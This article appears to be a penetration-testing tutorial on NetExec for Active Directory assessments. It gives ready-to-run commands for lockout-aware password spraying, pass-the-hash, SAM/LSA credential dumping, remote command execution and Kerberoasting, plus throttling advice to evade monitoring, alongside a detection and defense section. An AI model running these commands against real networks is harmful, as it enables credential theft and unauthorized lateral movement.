CrackMapExec/NetExec for Internal Network Assessment

CrackMapExec/NetExec for Internal Network Assessment - article cover image Active Directory
Time it takes to read this article 7 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

CrackMapExec (CME) and its actively maintained successor NetExec (nxc) are “Swiss-army knife” tools for internal network assessments. Instead of hand-rolling scripts around impacket for every host, an operator points NetExec at a single credential (password, NTLM hash, or Kerberos ticket) and a CIDR range, and it fans that credential out across every reachable host over SMB, WinRM, LDAP, MSSQL, RDP, SSH, and FTP, reporting where it works, what privilege level it lands at, and what is reachable from there.

Its value on an internal engagement is speed of triage. A single valid domain credential can be validated against an entire /24 or /16 in minutes, immediately answering the questions that drive the rest of the assessment: which hosts does this account have local admin on, which shares are world-readable, and does password reuse let one foothold cascade into domain-wide compromise. Because it reuses the same SMB/LDAP/WinRM code paths as impacket, its output integrates cleanly into the rest of a Windows-focused toolkit (secretsdump, wmiexec, BloodHound collection).

Attack Prerequisites

NetExec is a post-foothold enumeration and lateral-movement accelerator, not an initial-access exploit. To get value from it an operator needs:

  • Network reachability to the target subnet(s) over the relevant ports (445/SMB, 5985-5986/WinRM, 389/636/LDAP, 1433/MSSQL, 3389/RDP, 22/SSH) — typically via VPN drop, compromised workstation, or a pivot.
  • At least one credential to validate: a plaintext password, an NTLM hash (for pass-the-hash), a Kerberos ticket (.ccache/.kirbi for pass-the-ticket), or an AES key — obtained from phishing, Responder capture, a leaked credential, or a null/guest session for unauthenticated recon.
  • Weak segmentation or flat trust — the technique’s impact scales with how many hosts share local-admin passwords, domain-admin sessions, or a common service account, which is exactly what password spraying and --sam/--lsa dumping are used to discover.
  • No effective account-lockout policy relative to the spray rate, or a known-good --pass-pol window, when the goal is credential spraying rather than validating a single already-confirmed credential.

How It Works

NetExec is architected as a thin, fast connector layer plus a plugin system. For each target and protocol it authenticates once, reports success or failure (and, on SMB, whether the account is local admin via a Service Control Manager open, flagged Pwn3d!), then optionally hands the authenticated session to a module — a small Python class that runs a specific enumeration or post-exploitation action over that already-open connection. This is what makes it fast at scale: authentication is the expensive, noisy part, and NetExec amortizes it across every module chained onto a single pass with -M.

On SMB specifically, NetExec layers several named flags over impacket’s SMB implementation: --shares enumerates and tests read/write access on every visible share, --sam and --lsa perform a remote registry-based secrets dump (equivalent to secretsdump.py against a single host) to pull local SAM hashes and LSA secrets/cached domain credentials, and --pass-pol queries the domain password policy (SAMR QueryDomainInfo) so an operator can size a spray to stay under the lockout threshold. Combined with -u users.txt -p password123 --continue-on-success, it becomes a single-command password spray across an entire subnet — one password per attempt against every user, moving to the next user rather than the next password, which is exactly the spray pattern designed to avoid triggering per-user lockout counters.

Beyond SMB, the same authenticate-then-module pattern applies to WinRM (-x for command execution over PowerShell remoting), LDAP (--asreproast, --kerberoasting for offline ticket extraction), and MSSQL (-x, plus xp_cmdshell enablement modules) — each protocol module is a force-multiplier on the single credential validated at the top of the run.

Vulnerable Code / Configuration

The misconfiguration NetExec exploits at scale is not a single bug but credential and permission reuse — the same local Administrator password, or the same domain service account with local-admin rights, deployed to many machines, typically the product of imaging without LAPS (Local Administrator Password Solution). A GPO Preferences credential is a concrete historical example — a local admin password set via Group Policy Preferences and stored, reversibly encrypted, in a domain-readable SYSVOL XML file:

<!-- SYSVOL\<domain>\Policies\{GUID}\Machine\Preferences\Groups\Groups.xml -->
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
  <User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Administrator"
        image="2" changed="2015-08-11 10:22:31" uid="{...}">
    <Properties action="U" newName="" fullName="" description=""
                cpassword="j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw"
                changeLogon="0" noChange="0" neverExpires="1"
                acctDisabled="0" userName="Administrator"/>
  </User>
</Groups>
<!-- cpassword is AES-256-CBC encrypted with a KEY MICROSOFT PUBLISHED
     in MSDN (MS14-025). Any domain user can read SYSVOL and decrypt it. -->
XML

Even without a legacy GPP artifact, the more common finding today is simply the *absence* of LAPS: every workstation image ships with the same local Administrator NTLM hash, which --local-auth pass-the-hash against an entire subnet confirms in one pass. The other half of the pattern is an over-privileged service account added to local Administrators on many hosts via a GPO Restricted Group, turning one sprayed credential into fleet-wide access:

# GPO Restricted Groups misconfiguration example (gpresult /r excerpt)
Computer Configuration > Windows Settings > Security Settings
  Restricted Groups
    Group: Administrators
      Members: CORP\svc_monitoring   <-- same low-priv-looking account
                                          added as local admin domain-wide
TEXT

Walkthrough / Exploitation

Start by fingerprinting the environment unauthenticated to confirm SMB signing state and OS versions across the range — unsigned SMB is itself a relay prerequisite covered elsewhere, but it is free information here:

nxc smb 10.10.20.0/24
# prints one line per host: OS build, hostname, domain, signing:True/False
Bash

Validate a single harvested or default credential against the whole subnet, or run a low-and-slow password spray using the domain password policy to stay under the lockout threshold:

# check lockout window / bad-password count before spraying
nxc smb 10.10.20.0/24 -u guest -p '' --pass-pol

# spray one password across many users (one attempt per user, low noise)
nxc smb 10.10.20.0/24 -u users.txt -p 'Summer2026!' --continue-on-success

# validate a captured or cracked credential domain-wide, flag local-admin hits
nxc smb 10.10.20.0/24 -u jdoe -p 'P@ssw0rd123' -d CORP --local-auth
Bash

Hosts marked (Pwn3d!) are ones where the credential holds local admin. Pivot immediately into share enumeration and secrets dumping across every host that returned a hit:

nxc smb 10.10.20.0/24 -u jdoe -p 'P@ssw0rd123' -d CORP --shares
nxc smb 10.10.20.0/24 -u jdoe -p 'P@ssw0rd123' -d CORP --sam
nxc smb 10.10.20.0/24 -u jdoe -p 'P@ssw0rd123' -d CORP --lsa

# pass-the-hash instead of a plaintext password once a hash is captured
nxc smb 10.10.20.0/24 -u jdoe -H aad3b435b51404eeaad3b435b51404ee:8846f7... -d CORP --local-auth --sam
Bash

Once local admin is confirmed, hand the session to modules for execution, or feed the same credential into LDAP-based Kerberos abuse:

# execute a command via SMB (WMI/SVCCTL under the hood)
nxc smb 10.10.20.55 -u jdoe -p 'P@ssw0rd123' -d CORP -x 'whoami /all'

# grab every account's Kerberoastable SPN ticket for offline cracking
nxc ldap 10.10.20.5 -u jdoe -p 'P@ssw0rd123' -d CORP --kerberoasting kb_out.txt

# AS-REP roast accounts with pre-auth disabled
nxc ldap 10.10.20.5 -u jdoe -p 'P@ssw0rd123' -d CORP --asreproast asrep_out.txt
Bash

Note: --local-auth is easy to forget and a frequent source of confusing results: without it, NetExec tries the credential against the *domain*, which fails (or authenticates as an unintended account) when testing a local Administrator hash expected to be identical across machines.

Opsec: Every attempt is a Windows Security Event 4624/4625 and, over SMB, a Tree Connect (5140) if --shares is used. A /24 spray in a short window produces an obvious burst of NTLM logons from one source IP; throttle with --threads and spread timing on monitored environments.

Detection and Defense

NetExec activity is loud on the wire even when it is not blocked — the defensive win is almost entirely about denying the reuse it depends on, backed by log correlation to catch the attempt regardless:

  • Deploy LAPS (or Windows LAPS) so every local Administrator password is unique and rotated, defeating pass-the-hash-across-the-subnet entirely.
  • Alert on many-host, single-source NTLM authentication bursts — Event ID 4624/4625 (Logon Type 3) from one source against many destination hosts in a short window is the signature of a spray; SMB Tree Connect (5140) against ADMIN$/C$ fleet-wide is equally distinctive.
  • Enforce SMB signing domain-wide to remove the relay leg attackers typically chain after a sweep confirms unsigned hosts.
  • Audit SYSVOL for legacy cpassword GPP artifacts and remove any GPO granting local admin to a broadly-used service account.
  • Sane account-lockout threshold, combined with monitoring for --pass-pol style SAMR domain-policy queries — a pre-spray recon signal.
  • EDR telemetry for remote registry access to HKLM\SAM/HKLM\SECURITY from non-administrative source hosts (secretsdump-style dumping).

Real-World Impact

NetExec (and CrackMapExec before it) is a near-universal fixture of internal penetration tests and red team engagements precisely because the failure modes it exploits — shared local admin passwords, over-privileged service accounts, and unsigned SMB — remain extremely common in enterprise Active Directory environments even after years of published guidance. It is routinely the tool that converts one leaked credential into a map of an entire domain’s exploitable trust relationships within minutes of network access.

Conclusion

NetExec is not exploiting a vulnerability in SMB, WinRM, or LDAP — it is systematically exercising legitimate authentication paths at scale to expose an organization’s credential and privilege hygiene. Its effectiveness is a direct measure of how much local admin passwords, service account privileges, and SMB signing have been left uniform and unmonitored across a fleet; unique per-host credentials via LAPS, tight service account scoping, and burst-authentication alerting are what turn a devastating single-command subnet sweep into a noisy, contained failure.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL